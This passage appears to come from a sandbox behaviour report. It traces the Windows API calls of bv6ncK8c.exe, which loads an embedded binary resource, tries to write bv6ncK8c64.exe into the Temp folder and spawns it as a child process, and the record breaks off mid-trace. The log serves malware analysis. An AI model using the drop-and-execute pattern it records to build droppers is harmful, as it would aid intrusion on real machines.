Flags=0x8, Size=0x52) returned 0x287448 [0078.470] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x3c) returned 0x288480 [0078.470] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x18) returned 0x2874a8 [0078.470] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x82) returned 0x2874c8 [0078.470] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x2e) returned 0x287558 [0078.470] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x1e) returned 0x285ae8 [0078.470] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x2c) returned 0x287590 [0078.470] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x54) returned 0x2875c8 [0078.470] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x52) returned 0x287628 [0078.470] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x2a) returned 0x287688 [0078.470] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x3c) returned 0x2884c8 [0078.470] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x54) returned 0x2876c0 [0078.470] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x24) returned 0x287720 [0078.470] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x30) returned 0x287750 [0078.470] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x8c) returned 0x287788 [0078.470] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x287848 | out: hHeap=0x270000) returned 1 [0078.471] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x800) returned 0x287820 [0078.471] GetLastError () returned 0x0 [0078.471] SetLastError (dwErrCode=0x0) [0078.471] GetLastError () returned 0x0 [0078.471] SetLastError (dwErrCode=0x0) [0078.471] GetLastError () returned 0x0 [0078.471] SetLastError (dwErrCode=0x0) [0078.471] GetACP () returned 0x4e4 [0078.471] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x220) returned 0x288028 [0078.471] GetLastError () returned 0x0 [0078.471] SetLastError (dwErrCode=0x0) [0078.471] IsValidCodePage (CodePage=0x4e4) returned 1 [0078.471] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fecc | out: lpCPInfo=0x18fecc) returned 1 [0078.471] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f994 | out: lpCPInfo=0x18f994) returned 1 [0078.471] GetLastError () returned 0x0 [0078.471] SetLastError (dwErrCode=0x0) [0078.471] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0078.472] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f718, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0078.472] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9a8 | out: lpCharType=0x18f9a8) returned 1 [0078.472] GetLastError () returned 0x0 [0078.472] SetLastError (dwErrCode=0x0) [0078.472] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0078.472] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0078.472] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0078.472] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0078.472] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fca8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿÅ\x8a\nÎäþ\x18", lpUsedDefaultChar=0x0) returned 256 [0078.472] GetLastError () returned 0x0 [0078.472] SetLastError (dwErrCode=0x0) [0078.472] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0078.472] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0078.472] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0078.472] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0078.472] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fba8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿÅ\x8a\nÎäþ\x18", lpUsedDefaultChar=0x0) returned 256 [0078.472] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x80) returned 0x288250 [0078.472] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0078.472] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40f584) returned 0x0 [0078.472] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x288250) returned 0x80 [0078.473] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0078.473] GetProcAddress (hModule=0x76e10000, lpProcName="IsWow64Process") returned 0x76e2195e [0078.473] GetCurrentProcess () returned 0xffffffff [0078.473] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18ff34 | out: Wow64Process=0x18ff34) returned 1 [0078.473] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fd28, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0078.473] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x18fb20, nSize=0x104 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0078.473] FindResourceW (hModule=0x0, lpName="RCHANDLE64", lpType="BINRES") returned 0x476060 [0078.473] LoadResource (hModule=0x0, hResInfo=0x476060) returned 0x43c648 [0078.473] SizeofResource (hModule=0x0, hResInfo=0x476060) returned 0x37490 [0078.473] LockResource (hResData=0x43c648) returned 0x43c648 [0078.473] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x18) returned 0x2882d8 [0078.473] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x18f95c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0078.474] GetLastError () returned 0x20 [0078.474] GetLastError () returned 0x20 [0078.474] SetLastError (dwErrCode=0x20) [0078.474] GetLastError () returned 0x20 [0078.474] SetLastError (dwErrCode=0x20) [0078.474] GetLastError () returned 0x20 [0078.474] SetLastError (dwErrCode=0x20) [0078.474] GetLastError () returned 0x20 [0078.474] SetLastError (dwErrCode=0x20) [0078.474] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x1000) returned 0x289820 [0078.474] GetLastError () returned 0x20 [0078.474] SetLastError (dwErrCode=0x20) [0078.474] GetLastError () returned 0x20 [0078.474] SetLastError (dwErrCode=0x20) [0078.474] GetLastError () returned 0x20 [0078.474] SetLastError (dwErrCode=0x20) [0078.474] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18e38c | out: lpMode=0x18e38c) returned 1 [0078.475] WriteFile (in: hFile=0x7, lpBuffer=0x18ea68*, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0x18e394, lpOverlapped=0x0 | out: lpBuffer=0x18ea68*, lpNumberOfBytesWritten=0x18e394*=0x49, lpOverlapped=0x0) returned 1 [0078.477] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x287820 | out: hHeap=0x270000) returned 1 [0078.477] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18fedc | out: phModule=0x18fedc) returned 0 [0078.477] ExitProcess (uExitCode=0x1) [0078.477] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2860c8 | out: hHeap=0x270000) returned 1 Process: id = "144" image_name = "bv6nck8c64.exe" filename = "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe" page_root = "0x42e31000" os_pid = "0xc74" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "140" os_parent_pid = "0xc4c" cmd_line = "bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 692 os_tid = 0xc78 [0078.885] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12ff38 | out: lpSystemTimeAsFileTime=0x12ff38*(dwLowDateTime=0xd32ac520, dwHighDateTime=0x1d5d06a)) [0078.885] GetCurrentThreadId () returned 0xc78 [0078.885] GetCurrentProcessId () returned 0xc74 [0078.885] QueryPerformanceCounter (in: lpPerformanceCount=0x12ff40 | out: lpPerformanceCount=0x12ff40*=22084654713) returned 1 [0078.895] GetProcessHeap () [0078.895] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76f20000 [0078.895] GetProcAddress (hModule=0x76f20000, lpProcName="FlsAlloc") returned 0x76f37190 [0078.895] GetProcAddress (hModule=0x76f20000, lpProcName="FlsFree") returned 0x76f315b0 [0078.895] GetProcAddress (hModule=0x76f20000, lpProcName="FlsGetValue") returned 0x76f43520 [0078.895] GetProcAddress (hModule=0x76f20000, lpProcName="FlsSetValue") returned 0x76f3bd90 [0078.895] GetProcAddress (hModule=0x76f20000, lpProcName="InitializeCriticalSectionEx") returned 0x76f379b0 [0078.895] GetProcAddress (hModule=0x76f20000, lpProcName="CreateEventExW") returned 0x76f6c590 [0078.895] GetProcAddress (hModule=0x76f20000, lpProcName="CreateSemaphoreExW") returned 0x76f6c4c0 [0078.896] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadStackGuarantee") returned 0x76f28050 [0078.896] GetProcAddress (hModule=0x76f20000, lpProcName="CreateThreadpoolTimer") returned 0x76f28820 [0078.896] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadpoolTimer") returned 0x7715b2f0 [0078.896] GetProcAddress (hModule=0x76f20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7714d8c0 [0078.896] GetProcAddress (hModule=0x76f20000, lpProcName="CloseThreadpoolTimer") returned 0x7714d620 [0078.896] GetProcAddress (hModule=0x76f20000, lpProcName="CreateThreadpoolWait") returned 0x76f6ba80 [0078.896] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadpoolWait") returned 0x7715e170 [0078.896] GetProcAddress (hModule=0x76f20000, lpProcName="CloseThreadpoolWait") returned 0x7714c540 [0078.896] GetProcAddress (hModule=0x76f20000, lpProcName="FlushProcessWriteBuffers") returned 0x77191f80 [0078.896] GetProcAddress (hModule=0x76f20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720ec60 [0078.896] GetProcAddress (hModule=0x76f20000, lpProcName="GetCurrentProcessorNumber") returned 0x77190040 [0078.896] GetProcAddress (hModule=0x76f20000, lpProcName="GetLogicalProcessorInformation") returned 0x76f6b820 [0078.896] GetProcAddress (hModule=0x76f20000, lpProcName="CreateSymbolicLinkW") returned 0x76f95ad0 [0078.896] GetProcAddress (hModule=0x76f20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0078.896] GetProcAddress (hModule=0x76f20000, lpProcName="EnumSystemLocalesEx") returned 0x76f6c3d0 [0078.896] GetProcAddress (hModule=0x76f20000, lpProcName="CompareStringEx") returned 0x76f6b980 [0078.897] GetProcAddress (hModule=0x76f20000, lpProcName="GetDateFormatEx") returned 0x76fb0920 [0078.897] GetProcAddress (hModule=0x76f20000, lpProcName="GetLocaleInfoEx") returned 0x76f23c10 [0078.897] GetProcAddress (hModule=0x76f20000, lpProcName="GetTimeFormatEx") returned 0x76fad4e0 [0078.897] GetProcAddress (hModule=0x76f20000, lpProcName="GetUserDefaultLocaleName") returned 0x76f6b790 [0078.897] GetProcAddress (hModule=0x76f20000, lpProcName="IsValidLocaleName") returned 0x76f6b770 [0078.897] GetProcAddress (hModule=0x76f20000, lpProcName="LCMapStringEx") returned 0x76f6b710 [0078.897] GetProcAddress (hModule=0x76f20000, lpProcName="GetCurrentPackageId") returned 0x0 [0078.897] GetProcAddress (hModule=0x76f20000, lpProcName="GetTickCount64") returned 0x76f29450 [0078.897] GetProcAddress (hModule=0x76f20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0078.897] GetProcAddress (hModule=0x76f20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0078.897] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x478) returned 0x1af060 [0078.898] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x28) returned 0x1a5ee0 [0078.898] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0xb00) returned 0x1af4e0 [0078.898] GetStartupInfoW (in: lpStartupInfo=0x12fe90 | out: lpStartupInfo=0x12fe90*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x14000c2d0, hStdError=0x1af060)) [0078.898] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0078.898] GetFileType (hFile=0x3) returned 0x2 [0079.242] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0079.242] GetFileType (hFile=0x7) returned 0x2 [0079.243] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0079.243] 